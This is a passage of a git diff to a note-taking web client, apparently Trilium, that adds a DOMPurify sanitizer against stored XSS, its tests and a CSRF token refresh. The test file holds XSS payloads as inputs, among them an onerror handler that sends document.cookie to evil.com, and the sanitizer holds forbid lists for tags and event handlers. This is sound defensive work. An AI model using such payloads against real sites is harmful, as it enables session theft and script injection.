@@ -37,7 +41,7 @@ interface DuplicateResponse {
     note: FNote;
 }
 
-async function createNote(parentNotePath: string | undefined, options: CreateNoteOpts = {}) {
+async function createNote(parentNotePath: string | undefined, options: CreateNoteOpts = {}, componentId?: string) {
     options = Object.assign(
         {
             activate: true,
@@ -63,22 +67,15 @@ async function createNote(parentNotePath: string | undefined, options: CreateNot
 
     const parentNoteId = treeService.getNoteIdFromUrl(parentNotePath);
 
-    if (options.type === "mermaid" && !options.content && !options.templateNoteId) {
-        options.content = `graph TD;
-    A-->B;
-    A-->C;
-    B-->D;
-    C-->D;`;
-    }
-
     const { note, branch } = await server.post<Response>(`notes/${parentNoteId}/children?target=${options.target}&targetBranchId=${options.targetBranchId || ""}`, {
         title: options.title,
         content: options.content || "",
         isProtected: options.isProtected,
         type: options.type,
         mime: options.mime,
-        templateNoteId: options.templateNoteId
-    });
+        templateNoteId: options.templateNoteId,
+        attributes: options.attributes
+    }, componentId);
 
     if (options.saveSelection) {
         // we remove the selection only after it was saved to server to make sure we don't lose anything
@@ -140,9 +137,8 @@ function parseSelectedHtml(selectedHtml: string) {
         const content = selectedHtml.replace(dom[0].outerHTML, "");
 
         return [title, content];
-    } else {
-        return [null, selectedHtml];
     }
+    return [null, selectedHtml];
 }
 
 async function duplicateSubtree(noteId: string, parentNotePath: string) {

apps/client/src/services/note_tooltip.ts

@@ -1,20 +1,21 @@
-import treeService from "./tree.js";
-import linkService from "./link.js";
-import froca from "./froca.js";
-import utils from "./utils.js";
-import attributeRenderer from "./attribute_renderer.js";
-import contentRenderer from "./content_renderer.js";
 import appContext from "../components/app_context.js";
 import type FNote from "../entities/fnote.js";
+import attributeRenderer from "./attribute_renderer.js";
+import contentRenderer from "./content_renderer.js";
+import froca from "./froca.js";
 import { t } from "./i18n.js";
+import linkService from "./link.js";
+import { sanitizeNoteContentHtml } from "./sanitize_content.js";
+import treeService from "./tree.js";
+import utils from "./utils.js";
 
 // Track all elements that open tooltips
 let openTooltipElements: JQuery<HTMLElement>[] = [];
 let dismissTimer: ReturnType<typeof setTimeout>;
 
 function setupGlobalTooltip() {
-    $(document).on("mouseenter", "a:not(.no-tooltip-preview)", mouseEnterHandler);
-    $(document).on("mouseenter", "[data-href]:not(.no-tooltip-preview)", mouseEnterHandler);
+    $(document).on("pointerenter", "a:not(.no-tooltip-preview)", mouseEnterHandler);
+    $(document).on("pointerenter", "[data-href]:not(.no-tooltip-preview)", mouseEnterHandler);
 
     // close any note tooltip after click, this fixes the problem that sometimes tooltips remained on the screen
     $(document).on("click", (e) => {
@@ -37,10 +38,12 @@ function dismissAllTooltips() {
 }
 
 function setupElementTooltip($el: JQuery<HTMLElement>) {
-    $el.on("mouseenter", mouseEnterHandler);
+    $el.on("pointerenter", mouseEnterHandler);
 }
 
-async function mouseEnterHandler(this: HTMLElement) {
+async function mouseEnterHandler<T>(this: HTMLElement, e: JQuery.TriggeredEvent<T, undefined, T, T>) {
+    if (e.pointerType !== "mouse") return;
+
     const $link = $(this);
 
     if ($link.hasClass("no-tooltip-preview") || $link.hasClass("disabled")) {
@@ -90,8 +93,9 @@ async function mouseEnterHandler(this: HTMLElement) {
         return;
     }
 
-    const html = `<div class="note-tooltip-content">${content}</div>`;
-    const tooltipClass = "tooltip-" + Math.floor(Math.random() * 999_999_999);
+    const sanitizedContent = sanitizeNoteContentHtml(content);
+    const html = `<div class="note-tooltip-content">${sanitizedContent}</div>`;
+    const tooltipClass = `tooltip-${Math.floor(Math.random() * 999_999_999)}`;
 
     // we need to check if we're still hovering over the element
     // since the operation to get tooltip content was async, it is possible that
@@ -108,6 +112,8 @@ async function mouseEnterHandler(this: HTMLElement) {
             title: html,
             html: true,
             template: `<div class="tooltip note-tooltip ${tooltipClass}" role="tooltip"><div class="arrow"></div><div class="tooltip-inner"></div></div>`,
+            // Content is pre-sanitized via DOMPurify so Bootstrap's built-in sanitizer
+            // (which is too aggressive for our rich-text content) can be disabled.
             sanitize: false,
             customClass: linkId
         });
@@ -224,7 +230,7 @@ function renderFootnoteOrAnchor($link: JQuery<HTMLElement>, url: string) {
     }
 
     let footnoteContent = $targetContent.html();
-    footnoteContent = `<div class="ck-content">${footnoteContent}</div>`
+    footnoteContent = `<div class="ck-content">${footnoteContent}</div>`;
     return footnoteContent || "";
 }
 

apps/client/src/services/note_types.ts

@@ -1,9 +1,10 @@
-import { t } from "./i18n.js";
-import froca from "./froca.js";
-import server from "./server.js";
-import type { MenuCommandItem, MenuItem, MenuItemBadge, MenuSeparatorItem } from "../menus/context_menu.js";
 import type { NoteType } from "../entities/fnote.js";
+import type { MenuCommandItem, MenuItem, MenuItemBadge, MenuSeparatorItem } from "../menus/context_menu.js";
 import type { TreeCommandNames } from "../menus/tree_context_menu.js";
+import { isExperimentalFeatureEnabled } from "./experimental_features.js";
+import froca from "./froca.js";
+import { t } from "./i18n.js";
+import server from "./server.js";
 
 export interface NoteTypeMapping {
     type: NoteType;
@@ -26,6 +27,7 @@ export const NOTE_TYPES: NoteTypeMapping[] = [
 
     // The default note type (always the first item)
     { type: "text", mime: "text/html", title: t("note_types.text"), icon: "bx-note" },
+    { type: "spreadsheet", mime: "application/json", title: t("note_types.spreadsheet"), icon: "bx-table", isBeta: true },
 
     // Text notes group
     { type: "book", mime: "", title: t("note_types.book"), icon: "bx-book" },
@@ -40,6 +42,7 @@ export const NOTE_TYPES: NoteTypeMapping[] = [
     { type: "relationMap", mime: "application/json", title: t("note_types.relation-map"), icon: "bxs-network-chart" },
 
     // Misc note types
+    { type: "llmChat", mime: "application/json", title: t("note_types.llm-chat"), icon: "bx-message-square-dots", isBeta: true },
     { type: "render", mime: "", title: t("note_types.render-note"), icon: "bx-extension" },
     { type: "search", title: t("note_types.saved-search"), icon: "bx-file-find", static: true },
     { type: "webView", mime: "", title: t("note_types.web-view"), icon: "bx-globe-alt" },
@@ -53,7 +56,6 @@ export const NOTE_TYPES: NoteTypeMapping[] = [
     { type: "file", title: t("note_types.file"), reserved: true },
     { type: "image", title: t("note_types.image"), reserved: true },
     { type: "launcher", mime: "", title: t("note_types.launcher"), reserved: true },
-    { type: "aiChat", mime: "application/json", title: t("note_types.ai-chat"), reserved: true }
 ];
 
 /** The maximum age in days for a template to be marked with the "New" badge */
@@ -92,14 +94,15 @@ async function getNoteTypeItems(command?: TreeCommandNames) {
 function getBlankNoteTypes(command?: TreeCommandNames): MenuItem<TreeCommandNames>[] {
     return NOTE_TYPES
         .filter((nt) => !nt.reserved && nt.type !== "book")
+        .filter((nt) => nt.type !== "llmChat" || isExperimentalFeatureEnabled("llm"))
         .map((nt) => {
             const menuItem: MenuCommandItem<TreeCommandNames> = {
                 title: nt.title,
                 command,
                 type: nt.type,
-                uiIcon: "bx " + nt.icon,
+                uiIcon: `bx ${nt.icon}`,
                 badges: []
-            }
+            };
 
             if (nt.isNew) {
                 menuItem.badges?.push(NEW_BADGE);
@@ -131,7 +134,7 @@ async function getUserTemplates(command?: TreeCommandNames) {
         const item: MenuItem<TreeCommandNames> = {
             title: templateNote.title,
             uiIcon: templateNote.getIcon(),
-            command: command,
+            command,
             type: templateNote.type,
             templateNoteId: templateNote.noteId
         };
@@ -160,7 +163,7 @@ async function getBuiltInTemplates(title: string | null, command: TreeCommandNam
     const items: MenuItem<TreeCommandNames>[] = [];
     if (title) {
         items.push({
-            title: title,
+            title,
             kind: "header"
         });
     } else {
@@ -176,7 +179,7 @@ async function getBuiltInTemplates(title: string | null, command: TreeCommandNam
         const item: MenuItem<TreeCommandNames> = {
             title: templateNote.title,
             uiIcon: templateNote.getIcon(),
-            command: command,
+            command,
             type: templateNote.type,
             templateNoteId: templateNote.noteId
         };
@@ -194,7 +197,7 @@ async function isNewTemplate(templateNoteId) {
     if (rootCreationDate === undefined) {
         // Retrieve the root note creation date
         try {
-            let rootNoteInfo: any = await server.get("notes/root");
+            const rootNoteInfo: any = await server.get("notes/root");
             if ("dateCreated" in rootNoteInfo) {
                 rootCreationDate = new Date(rootNoteInfo.dateCreated);
             }
@@ -209,7 +212,7 @@ async function isNewTemplate(templateNoteId) {
     if (creationDate === undefined) {
         // The creation date isn't available in the cache, try to retrieve it from the server
         try {
-            const noteInfo: any = await server.get("notes/" + templateNoteId);
+            const noteInfo: any = await server.get(`notes/${templateNoteId}`);
             if ("dateCreated" in noteInfo) {
                 creationDate = new Date(noteInfo.dateCreated);
                 creationDateCache.set(templateNoteId, creationDate);
@@ -231,9 +234,8 @@ async function isNewTemplate(templateNoteId) {
         const age = (new Date().getTime() - creationDate.getTime()) / DAY_LENGTH;
         // Return true if the template is at most NEW_TEMPLATE_MAX_AGE days old
         return (age <= NEW_TEMPLATE_MAX_AGE);
-    } else {
-        return false;
     }
+    return false;
 }
 
 export default {

apps/client/src/services/promoted_attribute_definition_parser.ts

@@ -1,4 +1,4 @@
-export type LabelType = "text" | "number" | "boolean" | "date" | "datetime" | "time" | "url" | "color";
+export type LabelType = "text" | "textarea" | "number" | "boolean" | "date" | "datetime" | "time" | "url" | "color";
 type Multiplicity = "single" | "multi";
 
 export interface DefinitionObject {
@@ -17,7 +17,7 @@ function parse(value: string) {
     for (const token of tokens) {
         if (token === "promoted") {
             defObj.isPromoted = true;
-        } else if (["text", "number", "boolean", "date", "datetime", "time", "url", "color"].includes(token)) {
+        } else if (["text", "textarea", "number", "boolean", "date", "datetime", "time", "url", "color"].includes(token)) {
             defObj.labelType = token as LabelType;
         } else if (["single", "multi"].includes(token)) {
             defObj.multiplicity = token as Multiplicity;

apps/client/src/services/render.ts

@@ -1,54 +0,0 @@
-import { h, VNode } from "preact";
-
-import type FNote from "../entities/fnote.js";
-import { renderReactWidgetAtElement } from "../widgets/react/react_utils.jsx";
-import bundleService, { type Bundle } from "./bundle.js";
-import froca from "./froca.js";
-import server from "./server.js";
-
-async function render(note: FNote, $el: JQuery<HTMLElement>) {
-    const relations = note.getRelations("renderNote");
-    const renderNoteIds = relations.map((rel) => rel.value).filter((noteId) => noteId);
-
-    $el.empty().toggle(renderNoteIds.length > 0);
-
-    for (const renderNoteId of renderNoteIds) {
-        const bundle = await server.post<Bundle>(`script/bundle/${renderNoteId}`);
-
-        const $scriptContainer = $("<div>");
-        $el.append($scriptContainer);
-
-        $scriptContainer.append(bundle.html);
-
-        // async so that scripts cannot block trilium execution
-        bundleService.executeBundle(bundle, note, $scriptContainer).then(result => {
-            // Render JSX
-            if (bundle.html === "") {
-                renderIfJsx(bundle, result, $el);
-            }
-        });
-    }
-
-    return renderNoteIds.length > 0;
-}
-
-async function renderIfJsx(bundle: Bundle, result: unknown, $el: JQuery<HTMLElement>) {
-    // Ensure the root script note is actually a JSX.
-    const rootScriptNoteId = await froca.getNote(bundle.noteId);
-    if (rootScriptNoteId?.mime !== "text/jsx") return;
-
-    // Ensure the output is a valid el.
-    if (typeof result !== "function") return;
-
-    // Obtain the parent component.
-    const closestComponent = glob.getComponentByEl($el.closest(".component")[0]);
-    if (!closestComponent) return;
-
-    // Render the element.
-    const el = h(result as () => VNode, {});
-    renderReactWidgetAtElement(closestComponent, el, $el[0]);
-}
-
-export default {
-    render
-};

apps/client/src/services/render.tsx

@@ -0,0 +1,86 @@
+import { Component, h, VNode } from "preact";
+
+import type FNote from "../entities/fnote.js";
+import { renderReactWidgetAtElement } from "../widgets/react/react_utils.jsx";
+import { type Bundle, executeBundleWithoutErrorHandling } from "./bundle.js";
+import froca from "./froca.js";
+import server from "./server.js";
+
+type ErrorHandler = (e: unknown) => void;
+
+async function render(note: FNote, $el: JQuery<HTMLElement>, onError?: ErrorHandler) {
+    const relations = note.getRelations("renderNote");
+    const renderNoteIds = relations.map((rel) => rel.value).filter((noteId) => noteId);
+
+    $el.empty().toggle(renderNoteIds.length > 0);
+
+    try {
+        for (const renderNoteId of renderNoteIds) {
+            const bundle = await server.postWithSilentInternalServerError<Bundle>(`script/bundle/${renderNoteId}`);
+
+            const $scriptContainer = $("<div>");
+            $el.append($scriptContainer);
+
+            $scriptContainer.append(bundle.html);
+
+            // async so that scripts cannot block trilium execution
+            executeBundleWithoutErrorHandling(bundle, note, $scriptContainer)
+                .catch(onError)
+                .then(result => {
+                    // Render JSX
+                    if (bundle.html === "") {
+                        renderIfJsx(bundle, result, $el, onError).catch(onError);
+                    }
+                });
+        }
+
+        return renderNoteIds.length > 0;
+    } catch (e) {
+        if (typeof e === "string" && e.startsWith("{") && e.endsWith("}")) {
+            try {
+                onError?.(JSON.parse(e));
+            } catch (e) {
+                onError?.(e);
+            }
+        } else {
+            onError?.(e);
+        }
+    }
+}
+
+async function renderIfJsx(bundle: Bundle, result: unknown, $el: JQuery<HTMLElement>, onError?: ErrorHandler) {
+    // Ensure the root script note is actually a JSX.
+    const rootScriptNoteId = await froca.getNote(bundle.noteId);
+    if (rootScriptNoteId?.mime !== "text/jsx") return;
+
+    // Ensure the output is a valid el.
+    if (typeof result !== "function") return;
+
+    // Obtain the parent component.
+    const closestComponent = glob.getComponentByEl($el.closest(".component")[0]);
+    if (!closestComponent) return;
+
+    // Render the element.
+    const UserErrorBoundary = class UserErrorBoundary extends Component {
+        constructor(props: object) {
+            super(props);
+            this.state = { error: null };
+        }
+
+        componentDidCatch(error: unknown) {
+            onError?.(error);
+            this.setState({ error });
+        }
+
+        render() {
+            if ("error" in this.state && this.state?.error) return null;
+            return this.props.children;
+        }
+    };
+    const el = h(UserErrorBoundary, {}, h(result as () => VNode, {}));
+    renderReactWidgetAtElement(closestComponent, el, $el[0]);
+}
+
+export default {
+    render
+};

apps/client/src/services/sanitize_content.spec.ts

@@ -0,0 +1,236 @@
+import { describe, expect, it } from "vitest";
+import { sanitizeNoteContentHtml } from "./sanitize_content";
+
+describe("sanitizeNoteContentHtml", () => {
+    // --- Preserves legitimate CKEditor content ---
+
+    it("preserves basic rich text formatting", () => {
+        const html = '<p><strong>Bold</strong> and <em>italic</em> text</p>';
+        expect(sanitizeNoteContentHtml(html)).toBe(html);
+    });
+
+    it("preserves headings", () => {
+        const html = '<h1>Title</h1><h2>Subtitle</h2><h3>Section</h3>';
+        expect(sanitizeNoteContentHtml(html)).toBe(html);
+    });
+
+    it("preserves links with href", () => {
+        const html = '<a href="https://example.com">Link</a>';
+        expect(sanitizeNoteContentHtml(html)).toBe(html);
+    });
+
+    it("preserves internal note links with data attributes", () => {
+        const html = '<a class="reference-link" href="#root/abc123" data-note-path="root/abc123">My Note</a>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).toContain('class="reference-link"');
+        expect(result).toContain('href="#root/abc123"');
+        expect(result).toContain('data-note-path="root/abc123"');
+        expect(result).toContain(">My Note</a>");
+    });
+
+    it("preserves images with src", () => {
+        const html = '<img src="api/images/abc123/image.png" alt="test">';
+        expect(sanitizeNoteContentHtml(html)).toContain('src="api/images/abc123/image.png"');
+    });
+
+    it("preserves tables", () => {
+        const html = '<table><thead><tr><th>Header</th></tr></thead><tbody><tr><td>Cell</td></tr></tbody></table>';
+        expect(sanitizeNoteContentHtml(html)).toBe(html);
+    });
+
+    it("preserves code blocks", () => {
+        const html = '<pre><code class="language-javascript">const x = 1;</code></pre>';
+        expect(sanitizeNoteContentHtml(html)).toBe(html);
+    });
+
+    it("preserves include-note sections with data-note-id", () => {
+        const html = '<section class="include-note" data-note-id="abc123">&nbsp;</section>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).toContain('class="include-note"');
+        expect(result).toContain('data-note-id="abc123"');
+        expect(result).toContain("&nbsp;</section>");
+    });
+
+    it("preserves figure and figcaption", () => {
+        const html = '<figure><img src="test.png"><figcaption>Caption</figcaption></figure>';
+        expect(sanitizeNoteContentHtml(html)).toContain("<figure>");
+        expect(sanitizeNoteContentHtml(html)).toContain("<figcaption>");
+    });
+
+    it("preserves task list checkboxes", () => {
+        const html = '<ul><li><input type="checkbox" checked disabled>Task done</li></ul>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).toContain('type="checkbox"');
+        expect(result).toContain("checked");
+    });
+
+    it("preserves inline styles for colors", () => {
+        const html = '<span style="color: red;">Red text</span>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).toContain("style");
+        expect(result).toContain("color");
+    });
+
+    it("preserves data-* attributes", () => {
+        const html = '<div data-custom-attr="value" data-note-id="abc">Content</div>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).toContain('data-custom-attr="value"');
+        expect(result).toContain('data-note-id="abc"');
+    });
+
+    // --- Blocks XSS vectors ---
+
+    it("strips script tags", () => {
+        const html = '<p>Hello</p><script>alert("XSS")</script><p>World</p>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<script");
+        expect(result).not.toContain("alert");
+        expect(result).toContain("<p>Hello</p>");
+        expect(result).toContain("<p>World</p>");
+    });
+
+    it("strips onerror event handlers on images", () => {
+        const html = '<img src="x" onerror="alert(1)">';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("onerror");
+        expect(result).not.toContain("alert");
+    });
+
+    it("strips onclick event handlers", () => {
+        const html = '<div onclick="alert(1)">Click me</div>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("onclick");
+        expect(result).not.toContain("alert");
+    });
+
+    it("strips onload event handlers", () => {
+        const html = '<img src="x" onload="alert(1)">';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("onload");
+        expect(result).not.toContain("alert");
+    });
+
+    it("strips onmouseover event handlers", () => {
+        const html = '<span onmouseover="alert(1)">Hover</span>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("onmouseover");
+        expect(result).not.toContain("alert");
+    });
+
+    it("strips onfocus event handlers", () => {
+        const html = '<input onfocus="alert(1)" autofocus>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("onfocus");
+        expect(result).not.toContain("alert");
+    });
+
+    it("strips javascript: URIs in href", () => {
+        const html = '<a href="javascript:alert(1)">Click</a>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("javascript:");
+    });
+
+    it("strips javascript: URIs in img src", () => {
+        const html = '<img src="javascript:alert(1)">';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("javascript:");
+    });
+
+    it("strips iframe tags", () => {
+        const html = '<iframe src="https://evil.com"></iframe>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<iframe");
+    });
+
+    it("strips object tags", () => {
+        const html = '<object data="evil.swf"></object>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<object");
+    });
+
+    it("strips embed tags", () => {
+        const html = '<embed src="evil.swf">';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<embed");
+    });
+
+    it("strips style tags", () => {
+        const html = '<style>body { background: url("javascript:alert(1)") }</style><p>Text</p>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<style");
+        expect(result).toContain("<p>Text</p>");
+    });
+
+    it("strips SVG with embedded script", () => {
+        const html = '<svg><script>alert(1)</script></svg>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<script");
+        expect(result).not.toContain("alert");
+    });
+
+    it("strips meta tags", () => {
+        const html = '<meta http-equiv="refresh" content="0;url=evil.com"><p>Text</p>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<meta");
+    });
+
+    it("strips base tags", () => {
+        const html = '<base href="https://evil.com/"><p>Text</p>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<base");
+    });
+
+    it("strips link tags", () => {
+        const html = '<link rel="stylesheet" href="evil.css"><p>Text</p>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<link");
+    });
+
+    // --- Edge cases ---
+
+    it("handles empty string", () => {
+        expect(sanitizeNoteContentHtml("")).toBe("");
+    });
+
+    it("handles null-like falsy values", () => {
+        expect(sanitizeNoteContentHtml(null as unknown as string)).toBe(null);
+        expect(sanitizeNoteContentHtml(undefined as unknown as string)).toBe(undefined);
+    });
+
+    it("handles nested XSS attempts", () => {
+        const html = '<div><p>Safe</p><img src=x onerror="fetch(\'https://evil.com/?c=\'+document.cookie)"><p>Also safe</p></div>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("onerror");
+        expect(result).not.toContain("fetch");
+        expect(result).not.toContain("cookie");
+        expect(result).toContain("Safe");
+        expect(result).toContain("Also safe");
+    });
+
+    it("handles case-varied event handlers", () => {
+        const html = '<img src="x" ONERROR="alert(1)">';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result.toLowerCase()).not.toContain("onerror");
+    });
+
+    it("strips dangerous data: URI on anchor elements", () => {
+        const html = '<a href="data:text/html,<script>alert(1)</script>">Click</a>';
+        const result = sanitizeNoteContentHtml(html);
+        // DOMPurify should either strip the href or remove the dangerous content
+        expect(result).not.toContain("<script");
+        expect(result).not.toContain("alert(1)");
+    });
+
+    it("allows data: URI on image elements", () => {
+        const html = '<img src="data:image/png;base64,iVBOR...">';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).toContain("data:image/png");
+    });
+
+    it("strips template tags which could contain scripts", () => {
+        const html = '<template><script>alert(1)</script></template>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<script");
+        expect(result).not.toContain("<template");
+    });
+});

apps/client/src/services/sanitize_content.ts

@@ -0,0 +1,161 @@
+/**
+ * Client-side HTML sanitization for note content rendering.
+ *
+ * This module provides sanitization of HTML content before it is injected into
+ * the DOM, preventing stored XSS attacks. Content written through non-CKEditor
+ * paths (Internal API, ETAPI, Sync) may contain malicious scripts, event
+ * handlers, or other XSS vectors that must be stripped before rendering.
+ *
+ * Uses DOMPurify, a well-audited XSS sanitizer that is already a transitive
+ * dependency of this project (via mermaid).
+ *
+ * The configuration is intentionally permissive for rich-text formatting
+ * (bold, italic, headings, tables, images, links, etc.) while blocking
+ * script execution vectors (script tags, event handlers, javascript: URIs,
+ * data: URIs on non-image elements, etc.).
+ */
+import DOMPurify from "dompurify";
+
+/**
+ * Tags allowed in sanitized note content. This mirrors the server-side
+ * SANITIZER_DEFAULT_ALLOWED_TAGS from @triliumnext/commons plus additional
+ * tags needed for CKEditor content rendering (e.g. <section> for included
+ * notes, <figure>/<figcaption> for images and tables).
+ *
+ * Notably absent: <script>, <style>, <iframe>, <object>, <embed>, <form>,
+ * <input> (except checkbox via specific attribute allowance), <link>, <meta>.
+ */
+const ALLOWED_TAGS = [
+    // Headings
+    "h1", "h2", "h3", "h4", "h5", "h6",
+    // Block elements
+    "blockquote", "p", "div", "pre", "section", "article", "aside",
+    "header", "footer", "hgroup", "main", "nav", "address", "details", "summary",
+    // Lists
+    "ul", "ol", "li", "dl", "dt", "dd", "menu",
+    // Inline formatting
+    "a", "b", "i", "strong", "em", "strike", "s", "del", "ins",
+    "abbr", "code", "kbd", "mark", "q", "time", "var", "wbr",
+    "small", "sub", "sup", "big", "tt", "samp", "dfn", "bdi", "bdo",
+    "cite", "acronym", "data", "rp",
+    // Tables
+    "table", "thead", "caption", "tbody", "tfoot", "tr", "th", "td",
+    "col", "colgroup",
+    // Media
+    "img", "figure", "figcaption", "video", "audio", "picture",
+    "area", "map", "track",
+    // Separators
+    "hr", "br",
+    // Interactive (limited)
+    "label", "input",
+    // Other
+    "span",
+    // CKEditor specific
+    "en-media"
+];
+
+/**
+ * Attributes allowed on sanitized elements. DOMPurify uses a flat list
+ * of allowed attribute names that apply to all elements.
+ */
+const ALLOWED_ATTR = [
+    // Common
+    "class", "style", "title", "id", "dir", "lang", "tabindex",
+    "spellcheck", "translate", "hidden",
+    // Links
+    "href", "target", "rel",
+    // Images & media
+    "src", "alt", "width", "height", "loading", "srcset", "sizes",
+    "controls", "autoplay", "loop", "muted", "preload", "poster",
+    // Data attributes (CKEditor uses these extensively)
+    // DOMPurify allows data-* by default when ADD_ATTR includes them
+    // Tables
+    "colspan", "rowspan", "scope", "headers",
+    // Input (for checkboxes in task lists)
+    "type", "checked", "disabled",
+    // Misc
+    "align", "valign", "center",
+    "open", // for <details>
+    "datetime", // for <time>, <del>, <ins>
+    "cite" // for <blockquote>, <del>, <ins>
+];
+
+/**
+ * URI-safe protocols allowed in href/src attributes.
+ * Blocks javascript:, vbscript:, and other dangerous schemes.
+ */
+// Note: data: is intentionally omitted here; it is handled via ADD_DATA_URI_TAGS
+// which restricts data: URIs to only <img> elements.
+const ALLOWED_URI_REGEXP = /^(?:(?:https?|ftps?|mailto|evernote|file|gemini|git|gopher|irc|irc6|jabber|magnet|sftp|skype|sms|spotify|steam|svn|tel|smb|zotero|geo|obsidian|logseq|onenote|slack):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i;
+
+/**
+ * DOMPurify configuration for sanitizing note content.
+ */
+const PURIFY_CONFIG: DOMPurify.Config = {
+    ALLOWED_TAGS,
+    ALLOWED_ATTR,
+    ALLOWED_URI_REGEXP,
+    // Allow data-* attributes (used extensively by CKEditor)
+    ADD_ATTR: ["data-note-id", "data-note-path", "data-href", "data-language",
+               "data-value", "data-box-type", "data-link-id", "data-no-context-menu"],
+    // Do not allow <style> or <script> tags
+    FORBID_TAGS: ["script", "style", "iframe", "object", "embed", "link", "meta",
+                  "base", "noscript", "template"],
+    // Do not allow event handler attributes
+    FORBID_ATTR: ["onerror", "onload", "onclick", "onmouseover", "onfocus",
+                  "onblur", "onsubmit", "onreset", "onchange", "oninput",
+                  "onkeydown", "onkeyup", "onkeypress", "onmousedown",
+                  "onmouseup", "onmousemove", "onmouseout", "onmouseenter",
+                  "onmouseleave", "ondblclick", "oncontextmenu", "onwheel",
+                  "ondrag", "ondragend", "ondragenter", "ondragleave",
+                  "ondragover", "ondragstart", "ondrop", "onscroll",
+                  "oncopy", "oncut", "onpaste", "onanimationend",
+                  "onanimationiteration", "onanimationstart",
+                  "ontransitionend", "onpointerdown", "onpointerup",
+                  "onpointermove", "onpointerover", "onpointerout",
+                  "onpointerenter", "onpointerleave", "ontouchstart",
+                  "ontouchend", "ontouchmove", "ontouchcancel"],
+    // Allow data: URIs only for images (needed for inline images)
+    ADD_DATA_URI_TAGS: ["img"],
+    // Return a string
+    RETURN_DOM: false,
+    RETURN_DOM_FRAGMENT: false,
+    // Keep the document structure intact
+    WHOLE_DOCUMENT: false,
+    // Allow target attribute on links
+    ADD_TAGS: []
+};
+
+// Configure a DOMPurify hook to handle data-* attributes more broadly
+// since CKEditor uses many custom data attributes.
+DOMPurify.addHook("uponSanitizeAttribute", (node, data) => {
+    // Allow all data-* attributes
+    if (data.attrName.startsWith("data-")) {
+        data.forceKeepAttr = true;
+    }
+});
+
+/**
+ * Sanitizes HTML content for safe rendering in the DOM.
+ *
+ * This function should be called on all user-provided HTML content before
+ * inserting it into the DOM via dangerouslySetInnerHTML, jQuery .html(),
+ * or Element.innerHTML.
+ *
+ * The sanitizer preserves rich-text formatting produced by CKEditor
+ * (bold, italic, links, tables, images, code blocks, etc.) while
+ * stripping XSS vectors (script tags, event handlers, javascript: URIs).
+ *
+ * @param dirtyHtml - The untrusted HTML string to sanitize.
+ * @returns A sanitized HTML string safe for DOM insertion.
+ */
+export function sanitizeNoteContentHtml(dirtyHtml: string): string {
+    if (!dirtyHtml) {
+        return dirtyHtml;
+    }
+    return DOMPurify.sanitize(dirtyHtml, PURIFY_CONFIG) as string;
+}
+
+export default {
+    sanitizeNoteContentHtml
+};

apps/client/src/services/server.ts

@@ -73,6 +73,10 @@ async function post<T>(url: string, data?: unknown, componentId?: string) {
     return await call<T>("POST", url, componentId, { data });
 }
 
+async function postWithSilentInternalServerError<T>(url: string, data?: unknown, componentId?: string) {
+    return await call<T>("POST", url, componentId, { data, silentInternalServerError: true });
+}
+
 async function put<T>(url: string, data?: unknown, componentId?: string) {
     return await call<T>("PUT", url, componentId, { data });
 }
@@ -85,21 +89,33 @@ async function remove<T>(url: string, componentId?: string) {
     return await call<T>("DELETE", url, componentId);
 }
 
-async function upload(url: string, fileToUpload: File, componentId?: string) {
+async function upload(url: string, fileToUpload: File, componentId?: string, method = "PUT") {
     const formData = new FormData();
     formData.append("upload", fileToUpload);
 
-    return await $.ajax({
+    const doUpload = async () => $.ajax({
         url: window.glob.baseApiUrl + url,
         headers: await getHeaders(componentId ? {
             "trilium-component-id": componentId
         } : undefined),
         data: formData,
-        type: "PUT",
+        type: method,
         timeout: 60 * 60 * 1000,
         contentType: false, // NEEDED, DON'T REMOVE THIS
         processData: false // NEEDED, DON'T REMOVE THIS
     });
+
+    try {
+        return await doUpload();
+    } catch (e: unknown) {
+        // jQuery rejects with the jqXHR object
+        const jqXhr = e as JQuery.jqXHR;
+        if (jqXhr?.status && isCsrfError(jqXhr.status, jqXhr.responseText)) {
+            await refreshCsrfToken();
+            return await doUpload();
+        }
+        throw e;
+    }
 }
 
 let idCounter = 1;
@@ -108,11 +124,55 @@ const idToRequestMap: Record<string, RequestData> = {};
 
 let maxKnownEntityChangeId = 0;
 
+let csrfRefreshInProgress: Promise<void> | null = null;
+
+/**
+ * Re-fetches /bootstrap to obtain a fresh CSRF token. This is needed when the
+ * server session expires (e.g. mobile tab backgrounded for a long time) and the
+ * existing CSRF token is no longer valid.
+ *
+ * Coalesces concurrent calls so only one bootstrap request is in-flight at a time.
+ */
+async function refreshCsrfToken(): Promise<void> {
+    if (csrfRefreshInProgress) {
+        return csrfRefreshInProgress;
+    }
+
+    csrfRefreshInProgress = (async () => {
+        try {
+            const response = await fetch(`./bootstrap${window.location.search}`, { cache: "no-store" });
+            if (response.ok) {
+                const json = await response.json();
+                glob.csrfToken = json.csrfToken;
+            }
+        } finally {
+            csrfRefreshInProgress = null;
+        }
+    })();
+
+    return csrfRefreshInProgress;
+}
+
+function isCsrfError(status: number, responseText: string): boolean {
